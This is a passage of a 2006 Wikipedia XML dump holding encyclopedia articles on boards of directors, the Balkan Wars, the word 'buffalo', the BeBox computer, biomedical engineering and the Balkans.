It is widely considered good management practice to create a board of directors with persons with expertise from diverse backgrounds and to have [[outside director]]s or [[non-executive director]]s who can provide a perspective on a situation which is independent from management. For example it is extremely common for a good percentage of the boards of most large corporations to be from academia, especially business schools.  Sometimes relatives of powerful politicians are selected to serve on boards, such as when [[Hillary Clinton]] served on the board at [[Arkansas]]-based [[Wal-Mart]] while her husband, [[Bill Clinton|Bill]], was [[Governor of Arkansas]].

==Failures==
While the primary responsibility of boards is to ensure that the corporation's management is performing its job correctly, actually achieving this in practice can be difficult.  In a number of &quot;corporate scandals&quot; of the 1990s, one notable feature revealed in subsequent investigations is that boards were not aware of the activities of the managers that they hired, and the true financial state of the corporation.  A number of factors may be involved in this tendency:

* Most boards largely rely on management to report information to them, thus allowing management to place the desired 'spin' on information, or even conceal or lie about the true state of a company.
* Boards of directors are part-time bodies, whose members meet only occasionally and may not know each other particularly well.  This unfamiliarity can make it difficult for board members to question management.
* CEOs tend to be rather forceful personalities.  In some cases, CEOs are accused of exercising too much influence over the company's board.
* Directors may not have the time or the skills required to understand the details of corporate business, allowing management to obscure problems.
* The same directors who appointed the present CEO oversee their performance.  This makes it difficult for some directors to dispassionately evaluate the CEO's performance.
* Directors often feel that a judgement of a manager, particularly one who has performed well in the past, should be respected.  This can be quite legitimate, but poses problems if the manager's judgement is indeed flawed.  
* All of the above may contribute to a culture of &quot;not rocking the boat&quot; at board meetings.

Because of this, the role of boards in [[corporate governance]], and how to improve their oversight capability, has been examined carefully in recent years, and new legislation in a number of jurisdictions, and an increased focus on the topic by boards themselves, has seen changes implemented to try and improve their performance.

==Sarbanes-Oxley Act==
In the [[United States]], the [[Sarbanes-Oxley Act]] (SOX) has introduced new standards of accountability on the board of directors.  Members now risk large fines and prison sentences in the case of accounting crimes.  [[Internal controls]] are now the direct responsibility of directors.  This means that the vast majority of public companies now have hired internal auditors to ensure that the company adheres to the highest standards of internal controls.  Additionally, these internal auditors are required by law to report directly to the audit board.  This group consists of board of directors members where more than half of the members are outside the company and one of those members outside the company is an accounting expert.

==See also==
*[[Corporation]]
*[[Corporate governance]]

[[Category:Management]]
[[Category:Corporate governance]]

[[de:Vorstand]]
[[fr:Conseil d'administration]]
[[it:Consiglio di amministrazione]]
[[ja:取締役会]]
[[nl:Raad van Bestuur]]
[[sv:Styrelse]]
[[he:דירקטוריון]]
[[ru:Совет директоров]]</text>
    </revision>
  </page>
  <page>
    <title>Balkan Wars</title>
    <id>4823</id>
    <revision>
      <id>40290030</id>
      <timestamp>2006-02-19T15:40:32Z</timestamp>
      <contributor>
        <username>Vangelis</username>
        <id>317795</id>
      </contributor>
      <text xml:space="preserve">:''For the articles examining each war individually, see [[First Balkan War]] and [[Second Balkan War]]''
[[Image:Balkan belligerants 1914.jpg|thumb|right|180px|The outcome as of April 1913]]
[[Image:Balkan Wars Boundaries.jpg|thumb|right|180px|Boundaries on the Balkans after the First and the Second Balkan War (1912-1913)]]
[[Image:Distribution of Races on the Balkans in 1923.jpg|thumb|right|180px|Distribution of races in the Balkan Peninsula and Asia Minor in 1923, Historical Atlas by William R. Shepherd, New York (The map does not reflect the results of the 1923 population transfer between Greece and Turkey)]]

The '''Balkan Wars''' were two wars in South-eastern Europe in [[1912]]-[[1913]] in the course of which the [[Balkan League]] ([[Bulgaria]], [[Montenegro]], [[Greece]], and [[Serbia]]) first conquered [[Ottoman Empire|Ottoman]]-held [[Macedonia (region)|Macedonia]] and most of [[Thrace]] and then fell out over the division of the spoils.

The background to the wars lies in the incomplete emergence of nation-states on the fringes of the Ottoman Empire during the nineteenth century. Serbians had gained substantial territory during the [[Russo-Turkish Wars]] of 1877-78, while Greece acquired [[Thessaly]] in 1881 (although it lost a small area to the Ottoman Empire in 1897) and Bulgaria (an autonomous [[principality]] since [[1878]]) incorporated the formerly distinct province of [[Eastern Rumelia]] ([[1885]]). All three as well as tiny Montenegro sought additional territories within the large Ottoman-ruled regions known as Roumelia, comprising Eastern Roumelia, Albania, Macedonia, and Thrace (''see map''). 

Tensions among the Balkan states over their rival aspirations in Macedonia and Thrace subsided somewhat following intervention by the [[great Power]]s in the mid-1800s aimed at securing both fuller protection for the province's Christian majority and protection of the status quo. The question of Ottoman rule's viability revived, however, after the [[Young Turks|Young Turk revolution]] of July 1908 compelled the Sultan to restore the suspended Ottoman constitution. 

While Austria-Hungary seized the opportunity of the resulting Ottoman political uncertainty to annex the formally Ottoman province of [[Bosnia and Herzegovina|Bosnia-Herzegovina]], which it had occupied since 1878, Bulgaria declared itself a fully independent kingdom (October 1908) and the Greeks of [[Crete]] proclaimed unification with Greece, though the opposition of the great powers prevented the latter action from taking practical effect. 

Frustrated in the north by Austria-Hungary's incorporation of Bosnia with its 825,000 Orthodox [[Serbs]] (and many more Serbs and Serb-sympathizers of other faiths), and forced (March 1909) to accept the annexation and restrain anti-Habsburg agitation among Serbian nationalist groups, the Serbian government looked to formerly Serb territories in the south, notably &quot;Old Serbia&quot; (the [[Sandzak|Sanjak of Novi Pazar]] and the province of [[Kosovo]]). 

On [[August 28]], [[1909]], a group of demonstrating Greek officers (Stratiotikos Syndesmos) urging constitutional revision, removal of the royal family from the leadership of the armed forces and a more nationalist foreign policy secured the appointment of a more sympathetic government which they hoped would resolve the Cretan issue in Greece's favour and reverse the defeat of 1897. Bulgaria, which had secured Ottoman recognition of her independence in April 1909 and enjoyed the friendship of Russia, also looked to districts of Ottoman [[Thrace]] and Macedonia for expansion. In March 1910, an Albanian insurrection broke out in Kosovo which was covertly supported by the young Turks. In August 1910 Montenegro followed Bulgaria's precedent by becoming a kingdom. 

It was during the [[Balkan Wars]] when the first ever [[aerial bombardment]] was carried out. On October 16, 1912 a Bulgarian military airplane flew on a reconnaissance mission over the Turkish army’s positions in [[Edirne]]. During the flight, the pilot and observer dropped bombs placed in specially designed compartments outside the airplane. The bombs were dropped over a Turkish military base.

Initially under the encouragement of Russian agents, a series of agreements were concluded: between Serbia and Bulgaria in March 1912 and between Greece and Bulgaria in May 1912.  Montenegro subsequently concluded agreements between Serbia and Bulgaria respectively in October 1912. The First Balkan War immediately followed.

The wars were an important precursor to [[World War I]], to the extent that [[Austria-Hungary]] took alarm at the great increase in Serbia's territory and regional status. This concern was shared by [[Germany]], which saw Serbia as a satellite of [[Russia]]. Serbia's rise in power thus contributed to the two [[Central Powers]]' willingness to risk war following the [[assassination in Sarajevo]] of the [[Archduke Francis Ferdinand of Austria]] in June 1914.

[[Urlanis]] estimated in ''Voini I Narodo-Nacelenie Europi'' (1960) that in the first and second Balkan war there were 122,000 killed in action, 20,000 dead of wounds, and 82,000 dead of disease.

{|style=&quot;border:1px solid #8888aa; background-color:#f7f8ff; padding:0px; font-size:85%;&quot; align=center
|-
| colspan=&quot;4&quot; style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; | Ethnic exchanges &amp; expulsions between [[1912]] and [[1915]]
|-
|
| style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot;  |Ottomans
|  style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; |Greeks
|  style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; |Bulgarians
|-
|  style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; |Greek Macedonia
|
| 100,000
| 50,000
|-
|  style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; |Greek+Serbian Macedonia
|
| 
| 100,000
|-
|  style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; | Thrace
|
| 150,000-160,000
|
|-
|  style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; | Eastern section of Thrace
|
|
| 51,000
|-
| style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; | Western section of Thrace 
| 40,000-50,000
|
|
|-
|  style=&quot;text-align: center; background-color: rgb(204, 153, 51);&quot; | Bulgaria-Ottoman Empire Boarder
|  47,000
|
| 49,000
|-
|  style=&quot;text-align: center; background-color: rgb(51, 153, 204);&quot; | Totals
|  190,000-200,000
|  ''150,000-160,000''
|  250,000
|}

==See also==
Since the area has been referred to as the [[Balkans]], notable conflicts have included:

*The History of [[Ottoman Empire]].
*The [[Serbo-Bulgarian War]] ([[1885]])
*The [[Balkan campaigns]] of [[World War I]] (1914&amp;ndash;1918)
*The [[Balkans Campaign|Balkan campaigns]] of [[World War II]] (1940&amp;ndash;1945)
*The [[Yugoslav wars]] (1991&amp;ndash;1995)
*The [[Kosovo War]] (1996&amp;ndash;1999)

==External links==
*[http://countrystudies.us/bulgaria/12.htm US Library of Congress in the Balkan Wars]
*[http://cnparm.home.texas.net/Wars/BalkanCrises/BalkanCrises00.htm &quot;The Balkan crises, 1903 - 1914&quot;]
*[http://www.gogreece.com/learn/history/balkanwar_1912.html The Balkan Wars of 1912-13]
*[http://forum.uniforminsignia.net/viewtopic.php?t=3656 Military uniforms and insignia of the Balkan Wars]
*[http://www.historyguy.com/balkan_war_third.htm Information and links on the Third Balkan War (1991-2001)]

[[

[[Category:Balkans|Wars]]
[[Category:Revolutions]]
[[Category:Wars in the Balkans|Balken]]
[[Category:Wars of Greece]]
[[Category:Wars of Independence]]
[[Category:Wars of the Ottoman Empire]]

[[ar:حروب البلقان]]
[[bg:Балканска война]]
[[de:Balkankriege]]
[[el:Βαλκανικοί πόλεμοι]]
[[es:Guerras de los Balcanes]]
[[fi:Balkanin sodat]]
[[fr:Guerres des Balkans]]
[[hr:Balkanski ratovi]]
[[ja:バルカン戦争]]
[[nl:Balkanoorlogen]]
[[pl:Wojny bałkańskie]]
[[pt:Guerra dos Balcãs]]
[[sl:Balkanski vojni]]
[[sv:Balkankrigen]]
[[tr:Balkan Savaşları]]</text>
    </revision>
  </page>
  <page>
    <title>Buffalo</title>
    <id>4824</id>
    <revision>
      <id>40391330</id>
      <timestamp>2006-02-20T05:53:29Z</timestamp>
      <contributor>
        <ip>35.11.133.67</ip>
      </contributor>
      <text xml:space="preserve">A '''buffalo''' is one of several species of [[bovine]]. It includes:
* members of the Asian genus ''[[Bubalus]]'' &amp;mdash; the [[water Buffalo]], the [[anoa]] and the [[tamaraw]] (sometimes referred to as ''true'' buffalo).
* a member of the African genus ''Syncerus'' &amp;mdash; the [[African Buffalo]] (or Cape Buffalo).
* a North American member of the genus ''[[Bison]]'' &amp;mdash; the [[American Bison]] (or buffalo).

== Places called Buffalo==

'''Buffalo''' is also the name of several places in the [[United States|United States of America]]:
*'''[[Buffalo, New York]]'''
*[[Buffalo, Indiana]]
*[[Buffalo, Iowa]]
*[[Buffalo, Kansas]]
*[[Buffalo, Minnesota]]
*[[Buffalo, Missouri]]
*[[Buffalo, North Dakota]]
*[[Buffalo, Oklahoma]]
*[[Buffalo, South Carolina]]
*[[Buffalo, South Dakota]]
*[[Buffalo, Texas]]
*[[Buffalo, West Virginia]]
*[[Buffalo, Wisconsin]]
**[[Buffalo, Buffalo County, Wisconsin]]
**[[Buffalo, Marquette County, Wisconsin]]
** [[Buffalo City, Wisconsin]]
*[[Buffalo, Wyoming]]
*[[Buffalo Township, Pennsylvania]]
*[[Buffalo County, Wisconsin]]
*[[Buffalo Grove, Illinois]]
*[[Buffalo City Municipality, Eastern Cape]] in South Africa
*several [[Buffalo river]]s throughout the US and one in South Africa

== Other things called Buffalo==

* Buffalo is also a type of [[grass]].
* The intercollegiate athletic teams of the University of Colorado are known as the Buffaloes or [http://www.cubuffs.com/ &quot;Buffs&quot;.]
* [[Buffalo (band)|Buffalo]] is the name of a heavy metal band.
* BUFFALO is also an acronym for ''Bit User Fast Friendly Aid to Logical Operations'', a monitor program for the [[Freescale 68HC11]] [[microcontroller]].
* Buffalo was at one time the proposed name for a province in Western [[Canada]] that would have encompassed what is now [[Alberta]] and [[Saskatchewan]], both of which emerged instead in 1905.
* '''Buffalo''' was a type of [[amphibious vehicle]] used by Allied forces during [[World War II]]
* The Buffalo or [[Brewster_F2A]] was a type of [[plane]] used by Allied (and Finnish) forces during [[World War II]]
* [[Buffalo fish]] is a type of fish found in the Mississippi valley.
* [[Buffalo Boots]] is a shoe brand.
* [[Buffalo Springfield]] was a folk and psychedelic rock band.
* [[South Africa (Australian rules football National Team) | Buffaloes]] the [[nickname]] of [[South Africa]]'s national [[Australian rules football]] team.
* [[Buffalo (game)|Buffalo]] is the name of a drinking game, especially popular in [[Iceland]].
* [[Buffalo wings]] are, in fact, chicken wings, deep-fried and coated in a spicy sauce.
* [[Buffalo Club]] is a [[country music]] band that debuted in [[1998]].
* [[Buffalo (mine protected vehicle)]]
* Buffalos are [[Belgians]] who immigrated to America in the early 20th century.  They traveled through the city of Buffalo on their way to Detroit and Chicago.


{{disambig}}
[[de:Buffalo (Begriffsklärung)]]
[[es:Búfalo]]
[[nl:Buffel]]
[[ja:バッファロー]]
[[pl:Bawół]]
[[sv:Buffalo]]</text>
    </revision>
  </page>
  <page>
    <title>BeBox</title>
    <id>4825</id>
    <revision>
      <id>37439634</id>
      <timestamp>2006-01-31T00:49:07Z</timestamp>
      <contributor>
        <username>Ali@gwc.org.uk</username>
        <id>86816</id>
      </contributor>
      <minor />
      <comment>fmt</comment>
      <text xml:space="preserve">[[Image:Bebox.jpeg|right|thumb|The BeBox]]
The '''BeBox''' was a short-lived dual processor [[personal computer|PC]], offered by [[Be Incorporated]] to run their own [[operating system]], [[BeOS]].

The BeBox made its debut in October [[1995]] (BeBox Dual603-66). The processors were upgraded to 133 MHz in August [[1996]] (BeBox Dual603e-133). Production was halted at the end of 1996, following the port of BeOS to the [[Apple Macintosh|Macintosh]], in order for the company to concentrate on software. Be sold around 1000 66 MHz BeBoxes and 800 133 MHz BeBoxes.

== Hardware specifications ==
Initial prototypes were equipped with two [[AT&amp;T Hobbit]] processors and three [[digital signal processor|DSP]]s.

Of particular note were the [[Central processing unit|CPU]] [[load meter]]s on the front of the unit, and the GeekPort in back, which allowed for experimentation.

* Two [[PowerPC 603]] [[Central processing unit|processors]] running at 66 or 133 [[Megahertz|MHz]]  (a prototype version has also been found with two 200 MHz CPUs, though it was never released to the public)
* GeekPort: a digital and analog [[Input/output|I/O]] and [[Direct current|DC power]] connector, 37-pin connector on the [[ISA bus]].
** Two independent, bidirectional 8-bit ports
** Four A/D pins routing to a 12-bit [[Analog-to-digital converter|A/D converter]]
** Four D/A pins connected to an independent 8-bit [[Digital-to-analog converter|D/A converter]]
** Two signal [[ground (electricity)|ground]] reference pins
** Eleven power and ground pins:
*** Two at +5 V, one at +12 V, one at -12 V, seven ground pins.

== External links ==
* [http://www.bebox.nu/ The BeBox Zone]
* [http://www.josephpalmer.com/BeBox/BeBox.shtml BeBox Photo Gallery (Joseph Palmer: Be HW Engineer)]

{{compu-hardware-stub}}

[[Category:Personal computers]]
[[Category:PowerPC mainboards]]

[[cs:BeBox]]
[[de:BeBox]]
[[fr:BeBox]]
[[fi:BeBox]]
[[ia:BeBox]]
[[it:BeBox]]
[[nl:BeBox]]
[[pt:BeBox]]</text>
    </revision>
  </page>
  <page>
    <title>Biomedical engineering</title>
    <id>4827</id>
    <revision>
      <id>41788410</id>
      <timestamp>2006-03-01T19:31:36Z</timestamp>
      <contributor>
        <username>Discordance</username>
        <id>762600</id>
      </contributor>
      <minor />
      <comment>/* Further reading */</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
{{globalize}}
[[Image:Flu Vaccine.jpg|right|thumb|100px|Vaccine]]
'''Biomedical Engineering''' is a discipline concerned with the development and manufacture of [[prosthesis|prostheses]], [[medical device]]s, diagnostic devices, [[medication|drugs]] and other therapies as well as the application of [[engineering]] principles to [[biological science]] problems. It combines the expertise of engineering with medical needs to improve [[healthcare]]. It is more concerned with biological, safety and regulatory issues than other forms of [[engineering]]. It may be defined as &quot;The application of engineering principles and techniques to the medical field.&quot; The field is often synonymous with [[bioengineering]], which is often considered the parent field. [[Tissue engineering]] is also often considered part of biomedical engineering.

Biomedical engineers usually require degrees from recognized universities, and sound  knowledge of engineering and human anatomy and physiology. Their jobs often pay well (ranging from US $50,000 to $100,000 per year in 2005). Though the number of biomedical engineers is currently low (under 10,000), the number is expected to rise as modern medicine improves. Universities are now improving their undergraduate biomedical engineering courses because interest in the field is increasing.

It was not until the late [[1930s]] when researchers began to understand the effects of [[X-ray]]s on [[Biological tissue|tissue]]s and the electrical properties of tissues. These discoveries permitted doctors to use X-rays to get images of most [[organ systems]]. These techniques encouraged manufacturers to develop the modern array of [[medical imaging]] technologies.  These technologies nearly eliminated the need for exploratory [[surgery]].  

Imaging technologies were the first modern applications of scientific engineering to medical needs.  Earlier devices were built as a craft by instrument-makers. These earlier devices included [[crutch]]es, platform shoes, [[artificial teeth|wooden teeth]], and the ever-changing instruments in the doctor’s bag.  Some of the modern devices that followed medical imaging include [[pacemaker]]s, [[infusion pump]]s, the [[heart-lung machine]], [[dialysis]] machines, diagnostic equipment, imaging technologies of every kind, and [[tissue engineering|artificial organs]], implants, and advanced prosthetics.

Most biomedical devices are either inherently safe, or have added devices and systems so that they can sense their failure and shut down into an unusable, thus very safe state. A typical, basic requirement is that no single failure should cause the therapy to become unsafe at any point during its life-cycle. See [[safety engineering]] for a discussion of the procedures used to design safe systems. 

Many biomedical devices need to be [[Sterilization (microbiology) |sterilized]]. This creates a unique set of problems, since most sterilization techniques can cause damage to machinery and materials. 

Most biomedical devices are completely tested. That is, every line of [[Computer software|software]] is executed, or every possible setting is exercised and [[verification|verified]]. Most devices are intentionally simplified in some way to make the testing process less expensive, yet accurate. 

==Regulatory Issues==
Regulatory issues are never far from the mind of a biomedical engineer. To satisfy safety regulations, most biomedical systems must have documentation to show that they were managed, designed, built, tested, delivered and used using a planned, approved process. This is thought to increase the quality and safety of the therapy by reducing the likelihood that needed steps can be accidentally omitted. 

In the United States, biomedical engineers may operate under two different regulatory frameworks. Clinical devices and technologies are generally governed by the [[Food and Drug Administration]] (FDA) in a similar fashion to pharmaceuticals. Biomedical engineers may also develop devices and technologies for consumer use, such as physical therapy devices, which may be governed by the [[Consumer Product Safety Commission]]. See [http://www.accessdata.fda.gov/scripts/cdrh/cfdocs/cfcfr/CFRSearch.cfm?CFRPart=807 US FDA 510(k) documentation process] for the [[United States|US]] government registry of biomedical devices.

Other countries typically have their own mechanisms for regulation. For example, in Europe the actual decision about whether a device is suitable is made by the prescribing doctor, and the regulations are to assure that the device operates as expected. Thus in Europe, the governments license certifying agencies, which are for-profit. Technical committees of leading engineers write recommendations which incorporate public comments and are adopted as regulations by the European Union. These recommendations vary by the type of device, and specify tests for safety and efficacy. Once a prototype has passed the tests at a certification lab, and that model is being constructed under the control of a certified quality system, the device is entitled to bear a &quot;CE mark.&quot; The CE mark indicates that the device is believed to be safe and reliable when used as directed.

The different regulatory arrangements sometimes result in technologies being developed first for either the U.S. or in Europe depending on the more favorable form of regulation. Most safety-certification systems give equivalent results when applied diligently. Usually, once one such system is satisfied, satisfying the other requires only paperwork.

In general, FDA certification is seen as more strict, and more time-consuming, but not necessarily more safe. Obtaining a CE mark can be easier, because the certifying agencies have convenient branch offices, and provide technical assistance for fees. Obtaining such assistance early in the design process can save a manufacturer large amounts of money and time.

==See also==
* [[List of biomedical engineering topics]]

==References==
*[http://www.bls.gov/oco/ocos027.htm U.S. Bureau of Labor Statistics profile]
==Further reading==
*Bronzino, Joseph D. (2000). ''The Biomedical Engineering Handbook - Second Edition''. [[CRC Press]].
**''Volume 1''. ISBN 0-8493-0461-X.
**''Volume 2''. ISBN 0-8493-0462-8.

==External links==
'''Organizations'''
*[http://www.bmes.org The Biomedical Engineering Society (US)]
*[http://www.aime.org.uk/ Association of Institutions concerned with Medical Engineering (UK)]
*[http://biomed.org/ Biomed.org]
*[http://www.medicalengineer.co.uk Biomedical Engineering website]
*[http://www.bmenet.org/BMEnet/ The Biomedical Engineering Network]
*[http://www.whitaker.org/index.html Foundation supporting biomedical engineering research]
*[http://meetingscalendar.blogspot.com/ Biomedical Engineering Meetings Calendar]
*[http://www.becon.nih.gov/becon.htm Biomedical engineering at the NIH]

'''Schools (Links to Biomedical Engineering or Bioengineering Departments)'''
*[http://www.bu.edu/dbin/bme/ *Boston University Department of Biomedical Engineering]
*[http://www.engin.brown.edu/undergrad/bioengin/ *Brown University]
*[http://www.cmu.edu/bme/ Carnegie Mellon University]
*[http://bme.cwru.edu/ *Case Western Reserve University]
*[http://www.biomed.drexel.edu/new04/ *Drexel University]
*[http://www.bme.duke.edu/ *Duke University]
*[http://www.bme.fiu.edu/ *Florida International University]
*[http://www.bme.gatech.edu/ *Georgia Tech]
*[http://bme.iust.ac.ir Iran University of Science and Technology]
*[http://www.bme.jhu.edu/ *Johns Hopkins University]
*[http://www.uic.edu/depts/bioe/ *University of Illinois at Chicago]
*[http://www.marquette.edu/engineering/pages/AllYouNeed/biomedical.html *Marquette University]
*[http://biomed.um.edu.my/ *University of Malaya/Malaysia]
*[http://www.biomed.mtu.edu/ *Michigan Technological University]
*[http://www1.umn.edu/bme/ *University of Minnesota]
*[http://www.bme.northwestern.edu/ *Northwestern University]
*[http://www.seas.upenn.edu/be/ *University of Pennsylvania]
*[http://www.engr.pitt.edu/bioengineering/main/ *University of Pittsburgh]
*[https://engineering.purdue.edu/BME Purdue University]
*[http://www.bme.rpi.edu/ *Rensselaer Polytechnic Institute]
*[http://www-bioeng.ucsd.edu/ * University of California-San Diego]
*[http://bioeng.berkeley.edu/ University of California-Berkeley]
*[http://www.bme.uci.edu/ University of California-Irvine]
*[http://www.eng.uc.edu/dept_biomed/index.php University of Cincinnati]
*[http://www.bme.ufl.edu University of Florida]
*[http://www.bme.engineering.uiowa.edu/ *University of Iowa]
*[http://www.bme.ncsu.edu/ *University of North Carolina at Chapel Hill/North Carolina State University joint program]
*[http://www.bme.rochester.edu *University of Rochester]
*[http://www.engr.utk.edu/mabe/up-be.html *University of Tennessee at Knoxville]
*[http://www.bme.utexas.edu University of Texas at Austin]
*[http://www.uta.edu/engineering/bme/ University of Texas at Arlington]
*[http://engineering.utsa.edu/BME_program/index.html University of Texas at San Antonio]
*[http://www.ibbme.utoronto.ca/scripts/index_.asp *University of Toronto Institute of Biomaterials and Biomedical Engineering]
*[http://www.bmen.tulane.edu/ *Tulane University]
*[http://www.bioen.utah.edu/ University of Utah]
*[http://depts.washington.edu/bioe/ *University of Washington]
*[http://biomed.wustl.edu/ Washington University in St. Louis]
&lt;br&gt;
:*&quot;*&quot; Denotes ABET Accredited Engineering Program
:*[http://www.abet.org/accrediteac.asp (Search for ABET accredited programs)]

{{Technology}}

[[Category:Bioengineering]]
[[Category:Biomedical engineering]]
[[Category:Interdisciplinary fields]]

[[es:Ingeniería biomédica]]
[[fr:Génie biomédical]]
[[ja:&amp;#21307;&amp;#29992;&amp;#29983;&amp;#20307;&amp;#24037;&amp;#23398;]]
[[ms:Kejuruteraan bioperubatan]]
[[pt:Engenharia biomédica]]
[[sr:Биоинжењеринг]]
[[tr:Biyomedikal Mühendisli&amp;#287;i]]</text>
    </revision>
  </page>
  <page>
    <title>Balkans</title>
    <id>4829</id>
    <revision>
      <id>41765344</id>
      <timestamp>2006-03-01T16:11:46Z</timestamp>
      <contributor>
        <ip>81.208.13.138</ip>
      </contributor>
      <text xml:space="preserve">: ''Balkan redirects here. For the Turkmen province, see: [[Balkan Province]]''

The '''Balkans''' is the historic and geographic name used to describe a [[subregion|region]] of south-eastern [[Europe]]. The region has a combined area of [[1 E11 m²|728,000 km²]] and a population of around 53 million. In Greek, the Balkan Peninsula was known as the Peninsula of [[Haemus]] (Χερσόνησος του Αίμου). This naming of the Balkans has some basis amongst today's Greeks as well.

The region takes its name from the [[Stara Planina|Balkan mountains]] which run through the centre of [[Bulgaria]] into eastern [[Serbia]].

[[Image:SEEurope-small.jpg|frame|right|Southeastern Europe seen from NASA's Terra Satellite]]


== Definitions and boundaries ==

===Balkan Peninsula===   
The Balkans are sometimes referred to as the '''&quot;Balkan Peninsula&quot;''' as they are surrounded by water on three sides: the [[Black Sea]] to the east and branches of the [[Mediterranean Sea]] to the south and west (including the [[Adriatic sea|Adriatic]], [[Ionian sea|Ionian]], [[Aegean sea|Aegean]] and [[Sea of Marmara|Marmara]] seas). While it is not [[physical geography|geographically]] a [[peninsula]] as it has no [[isthmus]] to connect it to the mainland of Europe, this name is nonetheless commonly used to denote the wider region. 

===''The'' Balkans===
The identity of the Balkans owes as much to its fragmented and often [[Violence|violent]] common history as to its mountainous geography. The region was perennially on the edge of great empires, its history dominated by wars, rebellions, invasions and clashes between empires, from the times of the [[Roman Empire]] to the latter-day [[Yugoslav wars]].

Its fractiousness and tendency to splinter into rival political entities led to the coining of the term [[Balkanization]] (or ''balkanizing''). The term '''Balkan''' commonly connotes a connection with violence, [[religion|religious]] strife, [[ethnicity|ethnic]] clannishness and a sense of [[hinterland]]. The Balkans, as they are known today, have changed dramatically over the course of [[History of the Balkans|their history]].

===Etymology and evolving meaning===
The region takes its name from the &quot;Balkan&quot; mountain range in [[Bulgaria]] (from a [[Turkish language|Turkish]] word meaning &quot;a chain of wooded mountains&quot;). On a larger scale, one long continuous chain of mountains crosses the region in the form of a reversed letter S, from the [[Carpathians]] south to the [[Balkan]] range proper, before it marches away east into Anatolian [[Turkey]]. On the west coast, an offshoot of the Dinaric Alps follows the coast south through [[Dalmatia]] and [[Albania]], crosses [[Greece]] and continues into the sea in the form of various islands.
. The word was based on [[Turkish language|Turkish]] balakan 'stone, cliff', which confirms the pure 'technical' meaning of the term. Actually the mountain range that runs across Bulgaria from west to east (Stara Planina) is still commonly known as the [[Balkan Mountains]].

As time passed the term gradually obtained political connotations far from its initial geographic meaning, arising from political changes from the late 1800s to the creation of post-[[WW1]] [[Yugoslavia]] (initially the Kingdom of Serbs, Croatians and Slovenians). Zeune's goal was to have a geographical parallel term to the Italic and Iberian Peninsula, and seemingly nothing more. The gradually acquired political connotations are newer, and, to a large extent, due to oscillating political circumstances. After the split of Yugoslavia beginning with June 1991, the term 'Balkans' again got a negative meaning, even if this usage is casual.  For example, [[Romania]] is also labelled a 'Balkanic country' even if this is not compliant with either its initial meaning or later evolutions of the term. Over the last decade, in the wake of the former Yugoslav split, [[Croatians]] and especially [[Slovenians]] have rejected their former label as 'Balkan nations'. This is in part due to the pejorative connotation of the term 'Balkans' in the 1990s, and continuation of this meaning until now. Today the term Southeast Europe is preferred or, in the case of [[Slovenia]] and sometimes Croatia, [[Central Europe]].

Even if incorrect, both historically and politically, it is probable that &quot;Balkans&quot; will continue to have a wider, and pejorative, meaning. Quite often this is rather a cliché covering ignorance or ill intentions.

===Southeastern Europe===
[[Image:European_Regions_16.png|right|thumb|300px|Regions of Europe]]
Due to the aforementioned connotations of the term &quot;Balkan&quot;, many people prefer the term '''Southeastern Europe''' instead. The use of this term is slowly growing; a [[European Union]] initiative of [[1999]] is called the ''[[Stability Pact for South Eastern Europe]]'', and the online newspaper ''Balkan Times'' renamed itself ''Southeast European Times'' in [[2003]].

The use of this term to mean the Balkan peninsula (and only that) technically ignores the geographical presence of northern [[Romania]] and [[Ukraine]], which are also located in the southeastern part of the European continent.

===Ambiguities and controversies===

The northern border of the Balkan peninsula is usually considered to be the line formed by the [[Danube]], [[Sava]] and [[Kupa]] rivers and a segment connecting the spring of the Kupa with the [[Kvarner Bay]].

Some other definitions of the northern border of the Balkans has been proposed:

*the line Danube - Sava - [[Krka]] (river in Slovenia) - [[Postojnska Vrata]] - [[Vipava River]] - [[Isonzo River]] (also known as [[Soca river|So&amp;#269;a river]])
*the line Danube - Sava - [[Ljubljansko polje]] - [[Idrijca]] river - [[Soca river|So&amp;#269;a river]].
*the line [[Dniester]] - [[Timisoara|Timi&amp;#351;oara]] - [[Zagreb]] - [[Triglav]] (mountain).

[[Image:Balkanpeninsula.png|thumb|250px|Balkan peninsula (as defined by the Danube-Sava-Kupa line)]]

The most commonly used Danube-Sava-Kupa northern boundary is arbitrarily set as to the physiographical characteristics, however it can be easily recognized on the map. It has a historical and cultural substantiation. The region so defined (together with Romania and excluding Montenegro, Dalmatia, and the Ionian Islands) constituted most of the European territory of the [[Ottoman Empire]] from the late [[15th century|15th]] to the [[19th century]]. The Kupa forms a natural boundary between south-eastern Slovenia and Croatia and has been a political frontier since the [[12th century]], separating [[Carniola]] (belonging to [[Austria]]) from [[Croatia]] (belonging to [[Hungary]]).

The Danube-Sava-Krka-Postojnska Vrata-Vipava-Isonzo line ignores some historical and cultural characteristics, but can be seen as a rational delimitation of the Balkan peninsula from a geographical point of view. It assigns all the Karstic and Dinaric area to the Balkan region.  

The Sava bisects Croatia and Serbia and the Danube, which is the second largest European river (after [[Volga]]), forms a natural boundary between both Bulgaria and Serbia and Romania. North of that line lies the [[Pannonian plain]] and (in the case of Romania) the [[Carpathian mountains]]. 

Although Romania (with the exception of [[Dobrudja]]) is not geographically part of the Balkans, it is conventionally included as a [[successor state]] to the old Ottoman Empire. 

According to the most commonly used border, Slovenia lies to the north of the Balkans and is considered a part of [[Central Europe]]. Historically and culturally, it is also more related to Central Europe, although the Slovenian culture also incorporates some elements of culture of Balkanic peoples.

However, as already stated, the northern boundary of the Balkan peninsula can also be drawn otherwise, in which case at least a part of Slovenia and a small part of [[Italy]] ([[Province of Trieste]]) may be included in the Balkans.

Slovenia is also sometimes regarded as a Balkan country due to its association with the former [[Yugoslavia]]. When the Balkans are described as a twentieth-century geopolitical region, the whole Yugoslavia is included (so, Slovenia, [[Istria]], islands of [[Dalmatia]], northern Croatia and [[Vojvodina]] too).

